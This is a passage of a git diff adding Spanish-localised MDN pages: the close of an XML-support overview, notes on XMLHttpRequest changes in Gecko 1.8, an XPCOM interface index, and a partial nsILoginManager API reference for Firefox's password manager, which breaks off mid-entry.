+   <td><a class="external" href="http://www.xmlrpc.com/spec">Software de UserLand</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xmlrpc/">XML-RPC</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/RDF">RDF</a></td>
+   <td><a class="external" href="http://www.w3.org/RDF/">Recomendaciones W3C</a></td>
+   <td><a href="es/RDF">RDF</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/SVG">SVG</a></td>
+   <td><a class="external" href="http://www.w3.org/Graphics/SVG/">Propuesta de recomendación W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/svg/">SVG</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/MathML">MathML</a></td>
+   <td><a class="external" href="http://www.w3.org/Graphics/SVG/">Recomendación W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/mathml/">MathML</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/P3P">P3P</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/P3P/">Recomendación W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/p3p/">P3P</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/Acceso_a_Servicios_Web_en_Mozilla_usando_proxies_WSDL">WSDL</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/wsdl">Nota W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Servicios Web</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/XBL">XBL</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/xbl/">Nota W3C</a> (por Mozilla)</td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xbl/xbl.html">XBL</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/XUL">XUL</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xpfe/xulref/">Mozilla</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xpfe/">XPToolkit</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Hoja_de_ruta" name="Hoja_de_ruta">Hoja de ruta</h3>
+
+<p>Las próximas tareas deberían incluir soporte para el esquema <code>xpointer()</code> de XPointer (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=32832" title="Implement XPointer">error 32832</a>), soporte completo de XLink (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=61664" title="Implement full XLink">error 61664</a>), XInclude, Catálogos XML (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=98413" title="Implement XML Catalogs">error 98413</a>), XForms (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=97806" title="Implement W3C XForms in browser and composer">error 97806</a>), analizador de validez (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=196355" title="Implement validating XML parser (validate with DTDs)">error 196355</a>), Esquemas XML, mejoras sustanciales en la visualización de los documentos XML (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=18333" title="FIXED: XML Content Sink should be incremental">error 18333</a>), y una API de <a href="es/SAX">SAX</a> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=315825" title="NS_ERROR_FAILURE nsIDOMWindowInternal.focus in tabbrowser.xml">error 315825</a>).</p>
+
+<p>Para implementar totalmente XLink se necesita algo llamado un administrador de enlaces. Véase algunos <a class="external" href="http://www.mozilla.org/newlayout/xml/lmdesign.html">documentos de diseño</a> preliminares.</p>
+
+<h3 id="Pruebas_y_seguro_de_calidad" name="Pruebas_y_seguro_de_calidad">Pruebas y seguro de calidad</h3>
+
+<p>Hay un montón de casos de estudio enlazados desde la página de seguro de calidad del <a class="external" href="http://www.mozilla.org/quality/browser_sc.html">cumplimiento de los navegadores estándares</a>.</p>
+
+<p>La mayor parte de los documentos de prueba para el núcleo de XML del servidor CVS están ubicadas en <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests" rel="custom">content/xml/tests</a></code>. Además existen un par de ellos en línea: la demostración de libros y la de la tabla de contenidos IRS. Ambas muestran el funcionamiento de XML, asociaciones de hojas de estilo con XML, visualización de XML con CSS, espacios de nombres en XML, XHTML, XLinks simple y la manipulación de XML con scripts vía DOM.</p>
+
+<p>Existe un componente XML en Bugzilla. Además está la palabra clave "xhtml" para los bugs de XHTML (los cuales se pretende sean cubiertos entre componentes).</p>
+
+<p>Hay bugs abiertos para hacer pruebas NIST DOM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=51247" title="FIXED: Test harness for NIST DOM test suite does not work in Mozilla">error 51247</a>) y NIST XML en Mozilla, y que actualmente no funcionan.</p>
+
+<h3 id=".C2.BFC.C3.B3mo_puedo_ayudar.3F" name=".C2.BFC.C3.B3mo_puedo_ayudar.3F">¿Cómo puedo ayudar?</h3>
+
+<p><span class="comment">Esto necesita una revisión de la traducción</span></p>
+
+<p>Si sabes programar, busca <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=helpwanted&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">palabras clave solicitadas en bugs de XML</a>.</p>
+
+<p>No siempre lo utilizamos, así que si prefieres para evitarte el tener que hacer trabajo repetido puedes empezar trabajando con los fallos que tiene el <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;target_milestone=Future&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">futuro milestone</a>, o en otro caso los que tiene uno de los milestone que va camino de ser el futuro.</p>
+
+<p>Siempre puedes poner a prueba el soporte para XML. Preferiríamos conseguir tests que pudieran ser ejecutados automáticamente (esto requiere conocimientos de desarrollo web, <code>document.load()</code> y/o algún que otro añadido XML podría ser necesitado), pero probablemente la mayoría de los fallos que nos son notificados son encontrados por gente normal intentando hacer algo que funciona en otros navegadores y no en Mozilla.</p>
diff --git a/files/es/xmlhttprequest_cambios_en_gecko1.8/index.html b/files/es/xmlhttprequest_cambios_en_gecko1.8/index.html
new file mode 100644
index 0000000000..abe17e7987
--- /dev/null
+++ b/files/es/xmlhttprequest_cambios_en_gecko1.8/index.html
@@ -0,0 +1,22 @@
+---
+title: XMLHttpRequest cambios en Gecko1.8
+slug: XMLHttpRequest_cambios_en_Gecko1.8
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - XMLHttpRequest
+  - extensiones
+translation_of: Mozilla/XMLHttpRequest_changes_for_Gecko_1.8
+---
+<p>
+</p><p>Este documento muestra algunos cambios que se han hehco a la implementación de <a href="es/XMLHttpRequest">XMLHttpRequest</a> de <a href="es/Gecko">Gecko</a> desde la versión 1.7 (o sea, la versión de Gecko publicada en Firefox 1.0). Estos cambios sólo se aplican a las extensiones y aplicaciones XUL, no a las aplicaciones web.
+</p>
+<h3 id="Cambios_en_XMLHttpRequest.send" name="Cambios_en_XMLHttpRequest.send"> Cambios en XMLHttpRequest.send </h3>
+<p>Al pasar una instancia de <a href="es/NsIInputStream">nsIInputStream</a> al método <code>send</code>, ya no se deben incluir las cabeceras &lt;tt&gt;Content-Length&lt;/tt&gt; ni &lt;tt&gt;Content-Type&lt;/tt&gt; al comienzo del flujo de datos. En lugar de eso, la cabecera &lt;tt&gt;Content-Length&lt;/tt&gt; se obtendrá a partir de la longitud del flujo y la cabecera &lt;tt&gt;Content-Type&lt;/tt&gt; debe ser especificada manualmente llamando al método <code>setRequestHeader</code>. Estos requerimientos se explican en profundidad en <a class="external" href="http://lxr.mozilla.org/mozilla1.8/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#213">nsIXMLHttpRequest.idl</a>.
+</p>
+<h3 id="Cambios_en_XMLHttpRequest.onreadystatechange" name="Cambios_en_XMLHttpRequest.onreadystatechange"> Cambios en XMLHttpRequest.onreadystatechange </h3>
+<p>Este atributo es ahora de tipo <code>nsIOnReadyStateChangeHandler</code> en lugar de <code>nsIOnReadystatechangehandler</code> (la "S" y la "C" en el nombre del tipo se han cambiado a mayúscula).
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XMLHttpRequest_changes_for_Gecko1.8", "fr": "fr/Changements_dans_XMLHttpRequest_pour_Gecko_1.8", "it": "it/Cambiamenti_di_XMLHttpRequest_in_Gecko1.8", "ja": "ja/XMLHttpRequest_changes_for_Gecko1.8", "ko": "ko/XMLHttpRequest_changes_for_Gecko1.8", "pl": "pl/Zmiany_w_obiekcie_XMLHttpRequest_w_Gecko_1.8" } ) }}
diff --git a/files/es/xpcom_interface_reference/index.html b/files/es/xpcom_interface_reference/index.html
new file mode 100644
index 0000000000..4ee346c75e
--- /dev/null
+++ b/files/es/xpcom_interface_reference/index.html
@@ -0,0 +1,17 @@
+---
+title: XPCOM Interface Reference
+slug: XPCOM_Interface_Reference
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+  - XPCOM Interface Reference
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface
+---
+<p>This is a reference to the XPCOM interfaces provided by the Mozilla platform.</p>
+<div class="cols-3">
+  <ul><li><a href="/es/docs/mozIStorageConnection">mozIStorageConnection</a></li><li><a href="/es/docs/nsICancelable">nsICancelable</a></li><li><a href="/es/docs/nsIChannel">nsIChannel</a></li><li><a href="/es/docs/nsIDOMEventListener">nsIDOMEventListener</a></li><li><a href="/es/docs/nsIDOMOfflineResourceList">nsIDOMOfflineResourceList</a></li><li><a href="/es/docs/nsIDownload">nsIDownload</a></li><li><a href="/es/docs/nsIDownloadManager">nsIDownloadManager</a></li><li><a href="/es/docs/nsIDownloadManagerUI">nsIDownloadManagerUI</a></li><li><a href="/es/docs/nsIDownloadProgressListener">nsIDownloadProgressListener</a></li><li><a href="/es/docs/nsIDragService">nsIDragService</a></li><li><a href="/es/docs/nsIIdleService">nsIIdleService</a></li><li><a href="/es/docs/nsILocalFile">nsILocalFile</a></li><li><a href="/es/docs/XPCOM_Interface_Reference/nsILoginManager">nsILoginManager</a></li><li><a href="/es/docs/nsISimpleEnumerator">nsISimpleEnumerator</a></li><li><a href="/es/docs/nsISupports">nsISupports</a></li><li><a href="/es/docs/nsIURI">nsIURI</a></li><li><a href="/es/docs/nsIWebProgress">nsIWebProgress</a></li><li><a href="/es/docs/NsIZipWriter">nsIZipWriter</a></li></ul></div>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+  <li><a href="/en-US/docs/XPCOM_Interface_Reference_group" title="XPCOM_Interface_Reference_group">Interfaces grouped by function</a></li>
+</ul>
diff --git a/files/es/xpcom_interface_reference/nsiloginmanager/index.html b/files/es/xpcom_interface_reference/nsiloginmanager/index.html
new file mode 100644
index 0000000000..6347641a5a
--- /dev/null
+++ b/files/es/xpcom_interface_reference/nsiloginmanager/index.html
@@ -0,0 +1,372 @@
+---
+title: nsILoginManager
+slug: XPCOM_Interface_Reference/nsILoginManager
+tags:
+  - Firefox 3
+  - Interfaces
+  - 'Interfaces:Scriptable'
+  - Login Manager
+  - NeedsTranslation
+  - Thunderbird 3
+  - TopicStub
+  - XPCOM
+  - XPCOM API Reference
+  - thunderbird
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager
+---
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/passwordmgr/public/nsILoginManager.idl" rel="custom">toolkit/components/passwordmgr/public/nsILoginManager.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+Used to interface with the built-in Password Manager
+</span>
+
+  <div style="height: 42px; position: relative; padding: 2px; width: auto;">
+
+  <div style="top: 22px; font-size: 11px; position: absolute;">1.0</div>
+
+  <div style="top: 22px; font-size: 11px; position: absolute; left: 0px; text-align: right; float: right; width: 100%;">66</div>
+
+  <div style="height: 8px; top: 16px; background: #dd0000; left: 0px; position: absolute; width: 8.571428571428571%;"></div>
+
+<div style="height: 8px; top: 16px; left: 8.571428571428571%; background: #00dd00; position: absolute; width: 91.42857142857143%;" title="Introduced in Gecko 1.9 (Firefox 3)"></div>
+
+<div style="top: 0px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Introduced</div>
+<div style="top: 22px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Gecko 1.9</div>
+
+    <div style="height: 8px; top: 16px; left: 9.976190285714287%; background: #eeee00; position: absolute; width: 1%; border-radius: 4px; -webkit-border-radius: 4px;" title="Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)"></div>
+
+</div>
+
+<div style="background: #eee; padding: 2px;">
+Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)</span></div>
+</div><p></p>
+<p>Replaces <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPasswordManager" title="">nsIPasswordManager</a></code> which was used in older versions of Gecko.</p>
+<p>Implemented by: <code>@mozilla.org/login-manager;1</code>. To create an instance, use:</p>
+<pre class="eval">var loginManager = Components.classes["@mozilla.org/login-manager;1"]
+                   .getService(Components.interfaces.nsILoginManager);
+</pre>
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td><code>void <a href="#addLogin()">addLogin</a>(in nsILoginInfo aLogin);</code></td>
+    </tr>
+    <tr>
+      <td><code>nsIAutoCompleteResult <a href="#autoCompleteSearch()">autoCompleteSearch</a>(in AString aSearchString, in nsIAutoCompleteResult aPreviousResult, in nsIDOMHTMLInputElement aElement);</code></td>
+    </tr>
+    <tr>
+      <td><code>unsigned long <a href="#countLogins()">countLogins</a>(in AString aHostname, in AString aActionURL, in AString aHttpRealm);</code></td>
+    </tr>
+    <tr>
+      <td><code>boolean <a href="#fillForm()">fillForm</a>(in nsIDOMHTMLFormElement aForm);</code> </td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#findLogins()">findLogins</a>(out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#getAllDisabledHosts()">getAllDisabledHosts</a>([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#getAllLogins()">getAllLogins</a>([optional] out unsigned long count, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
+    </tr>
+    <tr>
+      <td><code>boolean <a href="#getLoginSavingEnabled()">getLoginSavingEnabled</a>(in AString aHost);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#modifyLogin()">modifyLogin</a>(in nsILoginInfo oldLogin, in nsISupports newLoginData);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#removeAllLogins()">removeAllLogins</a>();</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#removeLogin()">removeLogin</a>(in nsILoginInfo aLogin);</code></td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#searchLogins()">searchLogins</a>(out unsigned long count, in nsIPropertyBag matchData, [retval, array, size_is(count)] out nsILoginInfo logins);</code> </td>
+    </tr>
+    <tr>
+      <td><code>void <a href="#setLoginSavingEnabled()">setLoginSavingEnabled</a>(in AString aHost, in boolean isEnabled);</code></td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Methods" name="Methods">Methods</h2>
+<h3 id="addLogin()" name="addLogin()">addLogin()</h3>
+<p>Stores a new login in the Login Manager.</p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> Default values for the <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are created if the specified login doesn't explicitly specify them.</div><p></p>
+<pre class="eval">void addLogin(
+  in nsILoginInfo aLogin
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aLogin</code></dt>
+  <dd>
+    The login to store.</dd>
+</dl>
+<h6 id="Exceptions_thrown" name="Exceptions_thrown">Exceptions thrown</h6>
+<dl>
+  <dt>
+     </dt>
+  <dd>
+    An exception is thrown if the login information is already stored in the Login Manager. To change a login, you have to use <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsILoginManager#modifyLogin()">modifyLogin()</a></code>.</dd>
+</dl>
+<h3 id="autoCompleteSearch()" name="autoCompleteSearch()">autoCompleteSearch()</h3>
+<p>Generates results for a user field autocomplete menu.</p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> This method is provided for use only by the <code>FormFillController</code>, which calls it directly. It should not be used for any other purpose.</div><p></p>
+<pre class="eval">nsIAutoCompleteResult autoCompleteSearch(
+  in AString aSearchString,
+  in nsIAutoCompleteResult aPreviousResult,
+  in nsIDOMHTMLInputElement aElement
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aSearchString</code></dt>
+  <dd>
+    Missing Description</dd>
+  <dt>
+    <code>aPreviousResult</code></dt>
+  <dd>
+    Missing Description</dd>
+  <dt>
+    <code>aElement</code></dt>
+  <dd>
+    Missing Description</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p>Missing Description</p>
+<h3 id="countLogins()" name="countLogins()">countLogins()</h3>
+<p>Returns the number of logins matching the specified criteria. Called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a Master Password, as the logins don't need to be decrypted).</p>
+<pre class="eval">unsigned long countLogins(
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHostname</code></dt>
+  <dd>
+    The hostname to which to restrict searches, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>". To match all hostnames, specify <code>""</code> (empty string). A value of <code>null</code> will cause countLogins() to not match any logins.</dd>
+  <dt>
+    <code>aActionURL</code></dt>
+  <dd>
+    For form logins, this parameter should specify the URL to which the form will be submitted. To match any form login, specify <code>""</code> (empty string). To not match any form logins (For example when interested in protocol logins only), specify <code>null</code>.</dd>
+  <dt>
+    <code>aHttpRealm</code></dt>
+  <dd>
+    For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). To match any protocol login, specify <code>""</code> (empty string). To not match any protocol logins (For example when interested in form logins only), specify <code>null</code>.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p>The number of logins matching the parameters passed.</p>
+<p></p><h3 id="fillForm()">fillForm()</h3><p></p>
+<p>Fills out a form with login information, if appropriate information is available.</p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> This method will attempt to fill out the form regardless of the setting of the <code>signon.autofillForms</code> preference.</div><p></p>
+<pre class="eval">boolean fillForm(
+  in nsIDOMHTMLFormElement aForm
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aForm</code></dt>
+  <dd>
+    The HTMLform to attempt to fill out.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p><code>true</code> if the form was successfully filled out; otherwise <code>false</code>.</p>
+<h3 id="findLogins()" name="findLogins()">findLogins()</h3>
+<p>Searches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request.</p>
+<pre class="eval">void findLogins(
+  out unsigned long count,
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>aHostname</code></dt>
+  <dd>
+    The hostname to restrict searches to, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>".</dd>
+  <dt>
+    <code>aActionURL</code></dt>
+  <dd>
+    For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
+  <dt>
+    <code>aHttpRealm</code></dt>
+  <dd>
+    For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). For form logins, this parameter should be <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>This method can be called from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.findLogins({}, hostname, ...);
+</pre>
+<h3 id="getAllDisabledHosts()" name="getAllDisabledHosts()">getAllDisabledHosts()</h3>
+<p>Returns a list of all hosts for which login saving is disabled.</p>
+<pre class="eval">void getAllDisabledHosts(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out wstring hostnames
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>hostnames</code></dt>
+  <dd>
+    An array of hostname strings in URL format without a pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>You can call this method from JavaScript like this:</p>
+<pre class="brush: js"> var disabledHosts = myLoginMgr.getAllDisabledHosts({});
+</pre>
+<h3 id="getAllLogins()" name="getAllLogins()">getAllLogins()</h3>
+<p>Returns an array containing all logins recorded by the Login Manager.</p>
+<p>If you just want to see if any logins are stored, use <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsILoginManager#countLogins()">countLogins()</a></code> instead. It's more efficient, and avoids the possibility of the user being prompted for their master password.</p>
+<pre class="eval">void getAllLogins(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects containing all the logins the Login Manager has on record.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>You can call this method from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.getAllLogins({});
+</pre>
+<h3 id="getLoginSavingEnabled()" name="getLoginSavingEnabled()">getLoginSavingEnabled()</h3>
+<p>Reports whether or not saving login information is enabled for a host.</p>
+<pre class="eval">boolean getLoginSavingEnabled(
+  in AString aHost
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHost</code></dt>
+  <dd>
+    The hostname to check. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+</dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p><code>true</code> if login saving is enabled for the host, otherwise <code>false</code>.</p>
+<h3 id="modifyLogin()" name="modifyLogin()">modifyLogin()</h3>
+<p>Modifies an existing login by replacing it with a new one.</p>
+<p>If newLoginData is a <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code>, all of the old login's <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> properties are changed to the values from newLoginData (but the old login's <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are unmodified).</p>
+<p>If newLoginData is a <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag" title="">nsIPropertyBag</a></code>, only the specified properties will be changed. The <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties of oldLogin can be changed in this manner.</p>
+<p>If the propertybag contains an item named "timesUsedIncrement", the login's timesUsed property will be incremented by the item's value.</p>
+<pre class="eval">void modifyLogin(
+  in nsILoginInfo oldLogin,
+  in nsISupports newLoginData
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>oldLogin</code></dt>
+  <dd>
+    The login to be modified.</dd>
+  <dt>
+    <code>newLoginData</code></dt>
+  <dd>
+    The login information to replace the <code>oldLogin</code> with. This may be specified as either an <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> or an <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag2" title="">nsIPropertyBag2</a></code> object.</dd>
+</dl>
+<h3 id="removeAllLogins()" name="removeAllLogins()">removeAllLogins()</h3>
+<p>Removes all logins known by the Login Manager. This works without a need for the master password, if one is set.</p>
+<pre class="eval">void removeAllLogins();
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<p>None.</p>
+<h3 id="removeLogin()" name="removeLogin()">removeLogin()</h3>
+<p>Removes a login from the Login Manager.</p>
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> The specified login must exactly match a stored login. However, the values of any <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are ignored.</div><p></p>
+<pre class="eval">void removeLogin(
+  in nsILoginInfo aLogin
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aLogin</code></dt>
+  <dd>
+    The login to remove from the Login Manager. Only a login that is an exact match is deleted.</dd>
+</dl>
+<p></p><h3 id="searchLogins()">searchLogins()</h3><p></p>
+<p>Searches for logins in the login manager's data store, returning an array of matching logins. If there are no matching logins, an empty array is returned.</p>
+<pre class="eval">void searchLogins(
+  out unsigned long count,
+  in nsIPropertyBag matchData,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>count</code></dt>
+  <dd>
+    The number of elements in the returned array.</dd>
+  <dt>
+    <code>matchData</code></dt>
+  <dd>
+    The data used for the search. This does not follow the same requirements as <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsILoginManager#findLogins()">findLogins()</a></code> for those fields; wildcard matches are not specified.</dd>
+  <dt>
+    <code>logins</code></dt>
+  <dd>
+    An array of matching <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
+</dl>
+<h6 id="Example" name="Example">Example</h6>
+<p>This method can be called from JavaScript like this:</p>
+<pre class="brush: js"> var logins = myLoginMgr.searchLogins({}, matchData);
+ var numLogins = logins.length;
+</pre>
+<h3 id="setLoginSavingEnabled()" name="setLoginSavingEnabled()">setLoginSavingEnabled()</h3>
+<p>Enables or disables storing logins for a specified host. When login storing is disabled, the Login Manager won't prompt the user to store logins for that host. Existing logins are not affected.</p>
+<pre class="eval">void setLoginSavingEnabled(
+  in AString aHost,
+  in boolean isEnabled
+);
+</pre>
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+<dl>
+  <dt>
+    <code>aHost</code></dt>
+  <dd>
+    The hostname to adjust the setting for. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
+  <dt>
+    <code>isEnabled</code></dt>
+  <dd>
